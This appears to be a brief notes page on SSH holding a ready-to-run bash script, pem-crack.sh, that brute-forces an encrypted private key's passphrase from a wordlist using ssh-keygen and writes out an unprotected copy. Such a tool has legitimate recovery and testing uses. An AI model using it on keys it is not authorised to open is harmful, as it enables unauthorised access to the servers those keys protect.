SSH

Secure Shell

Portable Clients

Quicky Offline Private Key Crack

pem-crack.sh
#!/usr/bin/env bash
# pem-crack.sh passwords.txt root.protected root.priv

echo "Wordlist    : $1"
echo "PEM key     : $2"
echo "New PEM key : $3"
cp "$2" "$3" && chmod 600 "$3"

while read -r line
do
    err=$( (ssh-keygen -p -P "$line" -N '' -f "$3") 2>&1 )

    if [[ ! $err = *"incorrect passphrase"* ]]; then
        echo "Passphrase  : $line"
        echo "$err"
        break
    fi
done < "$1"

Last updated